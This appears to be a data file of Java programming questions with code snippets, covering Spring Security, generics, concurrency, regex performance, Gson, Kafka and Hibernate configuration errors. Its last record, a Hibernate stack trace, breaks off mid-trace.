tokenAuthenticationService = new TokenAuthenticationService ( `` tooManySecrets '' , userService ) ; } @ Override protected void configure ( HttpSecurity http ) throws Exception { http .exceptionHandling ( ) .and ( ) .anonymous ( ) .and ( ) .servletApi ( ) .and ( ) .headers ( ) .cacheControl ( ) .and ( ) .authorizeRequests ( ) // Allow anonymous logins .antMatchers ( `` /auth/** '' ) .permitAll ( ) // All other request need to be authenticated .anyRequest ( ) .authenticated ( ) .and ( ) // Custom Token based authentication based on the header previously given to the client .addFilterBefore ( new StatelessAuthenticationFilter ( tokenAuthenticationService ) , UsernamePasswordAuthenticationFilter.class ) ; } @ Override protected void configure ( AuthenticationManagerBuilder auth ) throws Exception { auth.userDetailsService ( userDetailsService ( ) ) .passwordEncoder ( new BCryptPasswordEncoder ( ) ) ; } @ Bean @ Override public AuthenticationManager authenticationManagerBean ( ) throws Exception { return super.authenticationManagerBean ( ) ; } @ Bean @ Override public UserService userDetailsService ( ) { return userService ; } @ Bean public TokenAuthenticationService tokenAuthenticationService ( ) { return tokenAuthenticationService ; } } @ Component @ Path ( `` /template '' ) @ Produces ( MediaType.APPLICATION_JSON ) public class Template { @ GET @ Secured ( `` ROLE_EDITOR '' ) public User getTemplate ( ) { return new Template ( ) ; } }",Using @ PreAuthorize or @ Secured with Jersey when using Configuration Class +Java,"I apologize if title is not clear.Now , in strings index starts at 0 . So for instance : In this case , the last index is 4.If I would try to do something like this : It would throw an 'Index Out Of Bounds Exception ' , as it should.However , if I try to run the following code : It does run ! I wrote similar code , noticed this later and could not figure it out.Eventually , the question is that how is this possible that we can reach this index we should not ? It allows us to write : and it does n't look very safe as stringObj.length ( ) return us an integer that is one more than what the last index is.Is it made intentionally and does this have a purpose ? If so , what is this purpose and what is the benefit it brings ?",Index 0 1 2 3 4String H E L L O System.out.println ( `` hello '' .charAt ( 5 ) ) ; System.out.println ( `` hello '' .substring ( 5 ) ) ; stringObj.substring ( stringObj.length ( ) ) ;,Substring method in String class reaches the index it is n't supposed to +Java,"I 'm trying to use class.getSimpleName ( ) for the expression of a switch however it gives me an error : Constant express requiredI 've seen answers suggesting to change the expression variable declarations to have initializers that are compile-time constant expressions . However , this is not possible in this case.Is there a way to make a switch using class.getSimpleName ( ) without having to hardcode the class names ? Example code",public class ClassA { public static final String TAG = ClassA.class.getSimpleName ( ) ; ... } public class ClassB { public static final String TAG = ClassB.class.getSimpleName ( ) ; ... } public class SomeOtherClass { switch ( express ) { case ClassA.TAG : // Error here ... break ; case ClassB.TAG : // and here ... break ; default : ... break ; },Java switch statement using class.getSimpleName ( ) gives Constant express required error +Java,"Take a JSON that has been converted to Map < String , Object > : Where Object value could be some primitive type or a nested Map < String , Object > . My goal is to get a flat map : How ? Any library that already does it ?","{ `` key1 '' : `` value1 '' , `` key2 '' : { `` nestedKey1 '' : `` nested value '' , `` nestedKey2 '' : { `` nestedKey1 '' : `` nested value '' } } } { `` key1 '' : `` value1 '' , `` key2.nestedKey1 '' : `` nested value '' , `` key2.nestedKey2.nestedKey1 '' : `` nested value '' }","`` Move '' nested map values of a Map < String , Object > to the top level" +Java,"I have a question regarding this event here , deviceready.It appears the event is fired every time the device ( I 'm working on Android 2.3 ) is tilted to the side ( So that the display changes to wide ) . I guess this is the intended behavior , but is there any way to prevent it , as my application needs to be initialized only once ?","document.addEventListener ( 'deviceready ' , function ( ) { app.init ( ) ; } , false ) ;",Phonegap deviceready event +Java,outputs : on my machine . Why ? Should n't be == compare object references equality ?,public class Comparison { public static void main ( String [ ] args ) { String s = `` prova '' ; String s2 = `` prova '' ; System.out.println ( s == s2 ) ; System.out.println ( s.equals ( s2 ) ) ; } } truetrue,Java == for String objects ceased to work ? +Java,"Let 's say we have following if statement : I have been wondering that if ternary operator replaces if statement when if statement consists from one line of code in each sub-block ( if and else blocks ) , then why above example is not possible to write like this with ternary operator ?",int a = 1 ; int b = 2 ; if ( a < b ) { System.out.println ( `` A is less than B ! `` ) ; } else { System.out.println ( `` A is greater or equal to B ! `` ) ; } ( a < b ) ? System.out.println ( `` A is less than B ! '' ) : System.out.println ( `` A is greater or equal to B ! `` ) ;,Ternary Operator Limits +Java,"I am trying to use regular expressions to determine what format the user have applied when entering input in a textbox.The regular expressions are as follows : To determine whether the input is one or more strings of length 9 in a given alphabet , possibly separated by whitespace.To check if the input is in FASTA formatThe regular expressions run terribly slow when matching with inputString.matches ( regexString ) . Why is this ? I figured this may be due to Java storing all potential matches ( which I do n't need at this point ) , but adding ? : in every parenthesis breaks the regex . How should this be done ? Thank you , MartinEdit 1 : I was unable to reproduce this issue - it only happens on one computer . This could suggest something wrong with that particular VM setup.We need something more robust , and so we will be implementing this differently . I have picked Joel 's answer as the right one , since I believe that some special case in Pattern may be the cause .","( \\s ? [ `` + alphabet + `` ] { 9,9 } ) + ( > [ \\w\\s ] +\\n [ `` + alphabet + `` \\s ] + ) +",Why do these regular expressions execute slowly in Java ? +Java,I 'm going through the Sharded Counters example in Java : http : //code.google.com/appengine/articles/sharding_counters.html I have a question about the implementation of the increment method . In python it explicitly wraps the get ( ) and increment in a transaction . In the Java example it just retrieves it and sets it . I 'm not sure I fully understand the Datastore and transactions but it seems like the critical update section should be wrapped in a datastore transaction . Am I missing something ? Original code : Transactional code ( I believe you need to run this in a transaction to gurantee correctness under concurrent transactions ? ) :,"public void increment ( ) { PersistenceManager pm = PMF.get ( ) .getPersistenceManager ( ) ; Random generator = new Random ( ) ; int shardNum = generator.nextInt ( NUM_SHARDS ) ; try { Query shardQuery = pm.newQuery ( SimpleCounterShard.class ) ; shardQuery.setFilter ( `` shardNumber == numParam '' ) ; shardQuery.declareParameters ( `` int numParam '' ) ; List < SimpleCounterShard > shards = ( List < SimpleCounterShard > ) shardQuery.execute ( shardNum ) ; SimpleCounterShard shard ; // If the shard with the passed shard number exists , increment its count // by 1 . Otherwise , create a new shard object , set its count to 1 , and // persist it . if ( shards ! = null & & ! shards.isEmpty ( ) ) { shard = shards.get ( 0 ) ; shard.setCount ( shard.getCount ( ) + 1 ) ; } else { shard = new SimpleCounterShard ( ) ; shard.setShardNumber ( shardNum ) ; shard.setCount ( 1 ) ; } pm.makePersistent ( shard ) ; } finally { pm.close ( ) ; } } } public void increment ( ) { PersistenceManager pm = PMF.get ( ) .getPersistenceManager ( ) ; Random generator = new Random ( ) ; int shardNum = generator.nextInt ( NUM_SHARDS ) ; try { Query shardQuery = pm.newQuery ( SimpleCounterShard.class ) ; shardQuery.setFilter ( `` shardNumber == numParam '' ) ; shardQuery.declareParameters ( `` int numParam '' ) ; List < SimpleCounterShard > shards = ( List < SimpleCounterShard > ) shardQuery.execute ( shardNum ) ; SimpleCounterShard shard ; // If the shard with the passed shard number exists , increment its count // by 1 . Otherwise , create a new shard object , set its count to 1 , and // persist it . if ( shards ! = null & & ! shards.isEmpty ( ) ) { Transaction tx = pm.currentTransaction ( ) ; try { tx.begin ( ) ; //I believe in a transaction objects need to be loaded by ID ( ca n't use the outside queried entity ) Key shardKey = KeyFactory.Builder ( SimpleCounterShard.class.getSimpleName ( ) , shards.get ( 0 ) .getID ( ) ) shard = pm.getObjectById ( SimpleCounterShard.class , shardKey ) ; shard.setCount ( shard.getCount ( ) + 1 ) ; tx.commit ( ) ; } finally { if ( tx.isActive ( ) ) { tx.rollback ( ) ; } } } else { shard = new SimpleCounterShard ( ) ; shard.setShardNumber ( shardNum ) ; shard.setCount ( 1 ) ; } pm.makePersistent ( shard ) ; } finally { pm.close ( ) ; } }",Java Google Appengine sharded counters without transactions +Java,"Here is some sample code for reentrant locking from 'Java concurrency in practice ' : The book explains that in the above code ... '' Because the doSomething methods in Widget and LoggingWidget are both synchronized , each tries to acquire the lock on the Widget before proceeding . `` I ran the above code to observe the intrinsic lock . The above quote seems to imply that a thread acquires an intrinsic lock on the Widget object , but what I observed was that the thread acquires a lock on LoggingWidget . I am not sure how to verify the acquisition count , so was n't able to observe that.Is the book using the names LoggingWidget/Widget interchangeably or should I be observing a lock on the Widget object specifically ? Edit : Full Excerpt Reentrancy facilitates encapsulation of locking behavior , and thus simplifies the development of object-oriented concurrent code . Without reentrant locks , the very natural-looking code in Listing 2.7 , in which a subclass overrides a synchronized method and then calls the superclass method , would deadlock . Because the doSomething methods in Widget and LoggingWidget are both synchronized , each tries to acquire the lock on the Widget before proceeding . But if intrinsic locks were not reentrant , the call to super.doSomething would never be able to acquire the lock because it would be considered already held , and the thread would permanently stall waiting for a lock it can never acquire . Reentrancy saves us from deadlock in situations like this .",class Widget { public synchronized void doSomething ( ) { System.out.println ( toString ( ) + `` : calling superclass doSomething '' ) ; } } class LoggingWidget extends Widget { public synchronized void doSomething ( ) { System.out.println ( toString ( ) + `` : calling subclass doSomething '' ) ; super.doSomething ( ) ; } },Reentrant lock - Java concurrency in practice +Java,"I was asked the following question in an interview and I had no clue how to do it Write a program to find the smallest number that can be formed by 0 and 9 which is divisible by a given number . For example , if given number is 3 output should be 9 , if given number is 2 output is 90 , if given number is 10 output is 90I found this solution online but I have n't understood this one bit : -Can anyone please help with a good understanding or an alternative solution ?",public class Smallest0And9DivisibleNumber { public static int find ( int divisible ) { int bin = 1 ; while ( true ) { int res = translate ( bin ) ; if ( res % divisible == 0 ) { return res ; } bin += 1 ; } } private static int translate ( int bin ) { int result = 0 ; for ( int i = Integer.toBinaryString ( bin ) .length ( ) ; i > 0 ; i -- ) { result *= result ! = 0 ? 10 : 0 ; int mask = 1 < < ( i - 1 ) ; result += ( bin & mask ) == mask ? 9 : 0 ; } return result ; } public static void main ( String [ ] args ) { assert find ( 10 ) == 90 ; assert find ( 99 ) == 99 ; assert find ( 33 ) == 99 ; assert find ( 3 ) == 9 ; assert find ( 333 ) == 999 ; assert find ( 300 ) == 900 ; assert find ( 303 ) == 909 ; assert find ( 3033 ) == 9099 ; assert find ( 3303 ) == 9909 ; } },Find smallest number formed by two digits divisible by given number +Java,I have an annotation I ca n't change which expects two String arguments . I 'd like to use it like this : This is how I imagined implementing itThis does n't work since a or b ca n't be statically resolved . What alternatives do I have which are nicer than :,"@ RequestMapping ( MyUrls.FOO.a , MyUrls.FOO.b ) public enum MyUrls { FOO ( `` a '' , `` b '' ) , BAR ( `` c '' , `` d '' ) ; public String a , b ; MyUrls ( String a , String b ) { this.a = a ; this.b = b ; } } class MyUrls { public static String FOO_A = `` '' ; public static String FOO_B = `` '' ; // ... }",Enum in Annotations +Java,"I have two isomorphic type hierarchies . The base type of the first one is BaseA and the base type of the second one is BaseB . I know how to transform any object of any subclass of BaseB to its corresponding subtype of BaseA . I want to implement a method which takes object of type BaseB determines its class and constructs an object of the corresponding subtype of BaseA . Example code : Why < B extends BaseB > is not compatible with < ? extends BaseB > ? Also if I try implementing the static transform method like this : I get a compilation error : Transform < A , B > can not be applied to given typesCan anyone explain me what I am doing wrong with Generics ?","public interface BaseA ... public interface BaseB ... public class DerA implements BaseA ... public class DerB implements BaseB ... ... public interface Transform < A , B > { A toA ( B b ) ; } public class DerAtoDerB implements Transform < DerA , DerB > { DerA toA ( DerB b ) { ... } } public class Transformations { private static Map < Class < ? > , Transform < ? extends BaseA , ? extends BaseB > > _map = new HashMap < > ( ) ; static { _map.put ( DerB.class , new DerAtoDerB ( ) ) ; } public static < B extends BaseB > BaseA transform ( B b ) { Transform < ? extends BaseA , ? extends BaseB > t = _map.get ( b.getClass ( ) ) ; return t.toA ( b ) ; // Compile error : Transform < A , B # 2 > can not be applied to given types } public static BaseA transform ( BaseB b ) { Transform < ? extends BaseA , ? extends BaseB > t = _map.get ( b.getClass ( ) ) ; return t.toA ( b ) ; // Compile error : Transform < A , B > can not be applied to given types }",Java generics : < B extends BaseB > does not match < ? extends BaseB > +Java,I have a thread and it contains ThreadLocal variable . I need to use parallelStream ( ) inside the above mentioned thread . Need to call myService which uses the thread local variable . Is there any mechanism to set the ThreadLocal when using parallelstream ( ) in java8 .,List < MyObject > result = myList.parallelStream ( ) .map ( myObject - > { //call myService with the Threadlocal } ) .filter ( ... ) ... .. ;,How to set ThreadLocal for parallelStream +Java,"I need to convert Map < K , List < V > > to Map < V , List < K > > .I 've been struggling with this issue for some time.It 's obvious how to do conversion Map < K , V > to Map < V , List < K > > : But I ca n't find solve an initial issue . Is there some easy-to-ready-java-8 way to do it ?",".collect ( Collectors.groupingBy ( Map.Entry : :getKey , Collectors.mapping ( Map.Entry : :getValue , toList ( ) ) )","Java 8 convert Map < K , List < V > > to Map < V , List < K > >" +Java,"I am trying to convert from string to localdate ( JODA TIME ) but its giving me errorfor some reason , I have to use string instead of date . I want to print the date as ( 06/03/2013 ) . what is the error in the code ? errorJava Result : 1",String theDate = w.getPSDate ( ) ; == 6/03/2013LocalDate ld = new LocalDate ( theDate ) ; System.out.println ( ld ) ; Exception in thread `` main '' java.lang.IllegalArgumentException : Invalid format : `` 06/03/2013 '' is malformed at `` /03/2013 '' at org.joda.time.format.DateTimeFormatter.parseMillis ( DateTimeFormatter.java:747 ) at org.joda.time.convert.StringConverter.getPartialValues ( StringConverter.java:87 ) at org.joda.time.LocalDate. < init > ( LocalDate.java:406 ) at org.joda.time.LocalDate. < init > ( LocalDate.java:354 ) at Date.GetDate.main ( GetDate.java:94 ),String to local date error +Java,"I have two almost identical methods , but I 'm trying to avoid code duplication . Each of them takes a unique object as arguments and finds out the highest value from it.Here 's an example : Or : How do I combine these two using generic parameters ? I tried creating a BaseClass that contains these two classes and extended it in the method signature . Still it requires casting.I have used Generics before but not generics parameters yet . Is there a way to resolve this ?",public Integer getHighestIndexValue ( List < ObjectA > list ) { int highestValue ; List < Integer > indexes = new ArrayList < Integer > ( ) ; for ( ObjectA a : list ) { indexes.add ( Integer.parseInt ( a.getA ( ) ) ) ; } highestValue = Collections.max ( indexes ) ; return highestValue ; } public Integer getHighestIndexValue ( List < ObjectB > list ) { int highestValue ; List < Integer > indexes = new ArrayList < Integer > ( ) ; for ( ObjectB b : list ) { indexes.add ( Integer.parseInt ( b.getB ( ) ) ) ; } highestValue = Collections.max ( indexes ) ; return highestValue ; } public < T extends BaseClass > Integer getHighestIndexValue ( List < T > objectList ) { int highestValue ; List < Integer > indexes = new ArrayList < Integer > ( ) ; for ( T objects : objectList ) { indexes.add ( Integer.parseInt ( objects.getAorB ( ) ) ) ; -- -- -- this line needs casting } highestValue = Collections.max ( indexes ) ; return highestValue ; },Generic method arguments - Java +Java,"After reading the books , surfing the nets regarding the type of references in Java , I still have some doubts ( or I may have interpreted the concept wrong ) .It would be a great help for me if anyone clear my doubts . Let me take an example of a class containing class variables , instance variables and local variables . My Question are ; 1. are listCommon ( static variable ) and mapInstance ( instance variable ) Strong reference towards Garbage Collector ? 2 . Is variable local ( defined and used in method ) a Weak reference ? 3 . How the Phantom reference and Soft reference came in picture ? 4 . OR above 3 concepts are invalid ; means that Java defines the references only if you explicitly used the type defined in java.lang.ref package ? Any help would be great for me .","public class Test { public static ArrayList < String > listCommon = new ArrayList < String > ( ) ; private HashMap < String , String > mapInstance ; public Test ( ) { mapInstance = new HashMap < String , String > ( ) ; } public void doSomething ( String key ) { ArrayList < String > local = new ArrayList < String > ( ) ; if ( key ! = null ) { local.add ( mapInstance.get ( key ) ) ; } System.out.println ( `` Value is added in instance Map : `` , mapInstance.get ( key ) ) ; } }",Is it true that Java implicitly defines references to the objects used in classes ? +Java,"I am in the process of building a wrapper jar for a jar that I built . It will handle updating the main application and making sure users are valid users . I am having a major issue though , because I ca n't get the external jar launching function working . This is what I have so far : However , I am just getting a file not found exception.If I copy java -jar ~/Documents.Java/myJar.jar and paste it right into terminal , it works and the jar launches . I have no idea what is going on here . Is the path supposed to be relative to the location of the running jar ?","ProcessBuilder builder = new ProcessBuilder ( `` java -jar ~/Documents.Java/myJar.jar '' ) ; try { Process process = builder.start ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } java.io.IOException : Can not run program `` java -jar ~/Documents/Java/myJar.jar '' : error=2 , No such file or directoryat java.lang.ProcessBuilder.start ( ProcessBuilder.java:1048 ) at com.mycompany.DHSLauncher.Launcher.lambda $ 4 ( Launcher.java:109 ) at java.util.Optional.ifPresent ( Optional.java:159 ) at com.mycompany.DHSLauncher.Launcher.showLogin ( Launcher.java:102 ) at com.mycompany.DHSLauncher.Launcher.start ( Launcher.java:35 ) at com.sun.javafx.application.LauncherImpl.lambda $ launchApplication1 $ 162 ( LauncherImpl.java:863 ) at com.sun.javafx.application.PlatformImpl.lambda $ runAndWait $ 175 ( PlatformImpl.java:326 ) at com.sun.javafx.application.PlatformImpl.lambda $ null $ 173 ( PlatformImpl.java:295 ) at java.security.AccessController.doPrivileged ( Native Method ) at com.sun.javafx.application.PlatformImpl.lambda $ runLater $ 174 ( PlatformImpl.java:294 ) at com.sun.glass.ui.InvokeLaterDispatcher $ Future.run ( InvokeLaterDispatcher.java:95 ) Caused by : java.io.IOException : error=2 , No such file or directoryat java.lang.UNIXProcess.forkAndExec ( Native Method ) at java.lang.UNIXProcess. < init > ( UNIXProcess.java:248 ) at java.lang.ProcessImpl.start ( ProcessImpl.java:134 ) at java.lang.ProcessBuilder.start ( ProcessBuilder.java:1029 ) ... 10 more",Java starting another Java Application +Java,"In Java System.nanoTime ( ) 's monotonic implementation on Linux relies on the fact that CLOCK_MONOTONIC is available on the OS . If it 's not available , it falls back to gettimeofday which can result in getting a negative time interval when the interval is measured using nanoTime . For instance , the following test might fail.In what cases CLOCK_MONOTONIC might not be available on a server ? Is it reasonable to assume that CLOCK_MONOTONIC clock is available on all modern Linux servers ?",long t1 = System.nanoTime ( ) ; long t2 = System.nanoTime ( ) ; assert t2 > = t1,In what cases CLOCK_MONOTONIC might not be available +Java,"As far as efficiency and memory usage goes , is it better to have one large jar with a class/package for each feature as needed ? Or is it instead better to separate it out into smaller more-manageable jars ? Lets say I have a large project with 20-30 packages all unrelated to each other : Would it instead be more efficient to split up each package into its own jar ? And have multiple , smaller more lightweight jars ? Im not sure if this even matters , however i am curious as it would make further development easier if i split everything up a bit . ( as long as there is no performance disadvantages )",com.example.test - class 1 - class 2 - class 3 - another.package - class 1 - class 2 - class 3 - another.package - class 1 - class 2 - class 3 - another.package - class 1 - class 2 - class 3,"Java , multiple jars or one large ?" +Java,"This question involves mapping and grouping of elements using java 8 collectors.I 've got a list of Patient . Each Patient has a list of departments he had visited.Say I want to count for each departments how many time it had been visited using the new collectors API in java 8 , how would I group by the departments list ? Thanks ! NOTE : I know that I can put a counter in each of the departments , this question is solely for the purpose of learning the new java 8 features.Code : In my main method I have a list of Patient . I want to know for each Department , how many time it had been visited , without editing the Department class ( or extending or decorating it ) .I think I have to take a stream of patients and map them to a map of dept- > count ( how many times each patient visited which dept. ) . Having a stream of these maps - I have no idea what to do to group these maps and count them .",public class Patient { private String id ; private List < Department > history ; /* some more getters/setters come here */ },Java 8 Collectors API +Java,"I am using a PeriodFormatter to return a string showing the time until an event . The code below keeps creating strings like 1146 hours 39 minutes instead of x days y hours z minutes . Any ideas ? Thanks , Nathan",PeriodFormatter formatter = new PeriodFormatterBuilder ( ) .printZeroNever ( ) .appendDays ( ) .appendSuffix ( `` d `` ) .appendHours ( ) .appendSuffix ( `` h `` ) .appendMinutes ( ) .appendSuffix ( `` m `` ) .toFormatter ( ) ; return formatter.print ( duration.toPeriod ( ) ) ;,PeriodFormatter not showing days +Java,I am able to list all Kafka Consumer with KafkaAdminClient : Is it possible to list all registrated producers in a similar way ?,AdminClient client = AdminClient.create ( conf ) ; ListTopicsResult ltr = client.listTopics ( ) ; KafkaFuture < Set < String > > names = ltr.names ( ) ; ArrayList < ConsumerGroupListing > consumerGroups = new ArrayList < > ( client.listConsumerGroups ( ) .all ( ) .get ( ) ) ; ConsumerGroupListing consumerGroup = consumerGroups.get ( 0 ) ;,How to list all producers of a kafka cluster ? +Java,"Does anybody success in using AspectJ load-time weaving with signed jars ? I got an exception and have no idea how to fix it ( tested with AspectJ 1.6.8-16.10 ) : Frankly speaking I event not sure if it 's technically possible , but I know that similar issue ( using dynamically generated java code from signed java classes ) was done for Hibernate project ( i.e . using Javassist instead of CGLIB ) . Details are here .",Exception in thread `` main '' java.lang.NoClassDefFoundError : com/package/clazz $ AjcClosure1 at com.package.test.main ( test.java:55 ) Caused by : java.lang.ClassNotFoundException : com.package.clazz $ AjcClosure1 at java.net.URLClassLoader $ 1.run ( Unknown Source ) at java.security.AccessController.doPrivileged ( Native Method ) at java.net.URLClassLoader.findClass ( Unknown Source ) at java.lang.ClassLoader.loadClass ( Unknown Source ) at sun.misc.Launcher $ AppClassLoader.loadClass ( Unknown Source ) at java.lang.ClassLoader.loadClass ( Unknown Source ) at java.lang.ClassLoader.loadClassInternal ( Unknown Source ) ... 1 more,AspectJ load-time weaving for signed jars +Java,"Following suggestions in Using Enums while parsing JSON with GSON , I am trying to serialize a map whose keys are an enum using Gson . Consider the following class : Two questions : Why does printSerialized ( map ) print { `` foo '' : true } instead of { `` bar '' : true } ? How can I get it to print { `` bar '' : true } ?","public class Main { public enum Enum { @ SerializedName ( `` bar '' ) foo } private static Gson gson = new Gson ( ) ; private static void printSerialized ( Object o ) { System.out.println ( gson.toJson ( o ) ) ; } public static void main ( String [ ] args ) { printSerialized ( Enum.foo ) ; // prints `` bar '' List < Enum > list = Arrays.asList ( Enum.foo ) ; printSerialized ( list ) ; // prints [ `` bar '' ] Map < Enum , Boolean > map = new HashMap < > ( ) ; map.put ( Enum.foo , true ) ; printSerialized ( map ) ; // prints { `` foo '' : true } } }",Serializing a map of enums with Gson with custom serialization +Java,"I work with a Java app and after reinstalling the Mac OS , when I try to re-run the project in the IntelliJ , I get the following stack of errors in the console . The project structure is here , I use Java annotation based config and the DatabaseConfig.java file is provided below , The ApplicationConfiguration.java file is provided , The ServiceConfig.java , The WebInitializer.java file , I can up with more info if required . How to solve it ? The database connection is correct .","org.hibernate.annotations.common.Version : 08/07/2017 15:55:04 - HCANN000001 : Hibernate Commons Annotations { 5.0.1.Final } Can not create JDBC driver of class `` for connect URL 'null'java.sql.SQLException : No suitable driver at java.sql.DriverManager.getDriver ( DriverManager.java:315 ) at org.apache.tomcat.dbcp.dbcp2.BasicDataSource.createConnectionFactory ( BasicDataSource.java:2151 ) at org.apache.tomcat.dbcp.dbcp2.BasicDataSource.createDataSource ( BasicDataSource.java:2037 ) at org.apache.tomcat.dbcp.dbcp2.BasicDataSource.getConnection ( BasicDataSource.java:1543 ) at org.hibernate.engine.jdbc.connections.internal.DatasourceConnectionProviderImpl.getConnection ( DatasourceConnectionProviderImpl.java:122 ) at org.hibernate.engine.jdbc.env.internal.JdbcEnvironmentInitiator $ ConnectionProviderJdbcConnectionAccess.obtainConnection ( JdbcEnvironmentInitiator.java:180 ) at org.hibernate.engine.jdbc.env.internal.JdbcEnvironmentInitiator.initiateService ( JdbcEnvironmentInitiator.java:68 ) at org.hibernate.engine.jdbc.env.internal.JdbcEnvironmentInitiator.initiateService ( JdbcEnvironmentInitiator.java:35 ) at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.initiateService ( StandardServiceRegistryImpl.java:88 ) at org.hibernate.service.internal.AbstractServiceRegistryImpl.createService ( AbstractServiceRegistryImpl.java:259 ) at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService ( AbstractServiceRegistryImpl.java:233 ) at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService ( AbstractServiceRegistryImpl.java:210 ) at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure ( JdbcServicesImpl.java:51 ) at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService ( StandardServiceRegistryImpl.java:94 ) at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService ( AbstractServiceRegistryImpl.java:242 ) at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService ( AbstractServiceRegistryImpl.java:210 ) at org.hibernate.boot.model.process.spi.MetadataBuildingProcess.handleTypes ( MetadataBuildingProcess.java:352 ) at org.hibernate.boot.model.process.spi.MetadataBuildingProcess.complete ( MetadataBuildingProcess.java:111 ) at org.hibernate.boot.model.process.spi.MetadataBuildingProcess.build ( MetadataBuildingProcess.java:83 ) at org.hibernate.boot.internal.MetadataBuilderImpl.build ( MetadataBuilderImpl.java:418 ) at org.hibernate.boot.internal.MetadataBuilderImpl.build ( MetadataBuilderImpl.java:87 ) at org.hibernate.cfg.Configuration.buildSessionFactory ( Configuration.java:691 ) at org.hibernate.cfg.Configuration.buildSessionFactory ( Configuration.java:726 ) at org.springframework.orm.hibernate5.LocalSessionFactoryBean.buildSessionFactory ( LocalSessionFactoryBean.java:511 ) at org.springframework.orm.hibernate5.LocalSessionFactoryBean.afterPropertiesSet ( LocalSessionFactoryBean.java:495 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods ( AbstractAutowireCapableBeanFactory.java:1687 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean ( AbstractAutowireCapableBeanFactory.java:1624 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean ( AbstractAutowireCapableBeanFactory.java:555 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean ( AbstractAutowireCapableBeanFactory.java:483 ) at org.springframework.beans.factory.support.AbstractBeanFactory $ 1.getObject ( AbstractBeanFactory.java:306 ) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton ( DefaultSingletonBeanRegistry.java:230 ) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean ( AbstractBeanFactory.java:302 ) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean ( AbstractBeanFactory.java:202 ) at org.springframework.beans.factory.config.DependencyDescriptor.resolveCandidate ( DependencyDescriptor.java:208 ) at org.springframework.beans.factory.support.DefaultListableBeanFactory.doResolveDependency ( DefaultListableBeanFactory.java:1138 ) at org.springframework.beans.factory.support.DefaultListableBeanFactory.resolveDependency ( DefaultListableBeanFactory.java:1066 ) at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor $ AutowiredFieldElement.inject ( AutowiredAnnotationBeanPostProcessor.java:585 ) at org.springframework.beans.factory.annotation.InjectionMetadata.inject ( InjectionMetadata.java:88 ) at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor.postProcessPropertyValues ( AutowiredAnnotationBeanPostProcessor.java:366 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean ( AbstractAutowireCapableBeanFactory.java:1264 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean ( AbstractAutowireCapableBeanFactory.java:553 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean ( AbstractAutowireCapableBeanFactory.java:483 ) at org.springframework.beans.factory.support.AbstractBeanFactory $ 1.getObject ( AbstractBeanFactory.java:306 ) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton ( DefaultSingletonBeanRegistry.java:230 ) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean ( AbstractBeanFactory.java:302 ) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean ( AbstractBeanFactory.java:197 ) at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons ( DefaultListableBeanFactory.java:761 ) at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization ( AbstractApplicationContext.java:866 ) at org.springframework.context.support.AbstractApplicationContext.refresh ( AbstractApplicationContext.java:542 ) at org.springframework.web.context.ContextLoader.configureAndRefreshWebApplicationContext ( ContextLoader.java:446 ) at org.springframework.web.context.ContextLoader.initWebApplicationContext ( ContextLoader.java:328 ) at org.springframework.web.context.ContextLoaderListener.contextInitialized ( ContextLoaderListener.java:107 ) at org.apache.catalina.core.StandardContext.listenerStart ( StandardContext.java:4745 ) at org.apache.catalina.core.StandardContext.startInternal ( StandardContext.java:5207 ) at org.apache.catalina.util.LifecycleBase.start ( LifecycleBase.java:150 ) at org.apache.catalina.core.ContainerBase.addChildInternal ( ContainerBase.java:752 ) at org.apache.catalina.core.ContainerBase.addChild ( ContainerBase.java:728 ) at org.apache.catalina.core.StandardHost.addChild ( StandardHost.java:734 ) at org.apache.catalina.startup.HostConfig.manageApp ( HostConfig.java:1739 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.apache.tomcat.util.modeler.BaseModelMBean.invoke ( BaseModelMBean.java:300 ) at com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.invoke ( DefaultMBeanServerInterceptor.java:819 ) at com.sun.jmx.mbeanserver.JmxMBeanServer.invoke ( JmxMBeanServer.java:801 ) at org.apache.catalina.mbeans.MBeanFactory.createStandardContext ( MBeanFactory.java:482 ) at org.apache.catalina.mbeans.MBeanFactory.createStandardContext ( MBeanFactory.java:431 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.apache.tomcat.util.modeler.BaseModelMBean.invoke ( BaseModelMBean.java:300 ) at com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.invoke ( DefaultMBeanServerInterceptor.java:819 ) at com.sun.jmx.mbeanserver.JmxMBeanServer.invoke ( JmxMBeanServer.java:801 ) at javax.management.remote.rmi.RMIConnectionImpl.doOperation ( RMIConnectionImpl.java:1468 ) at 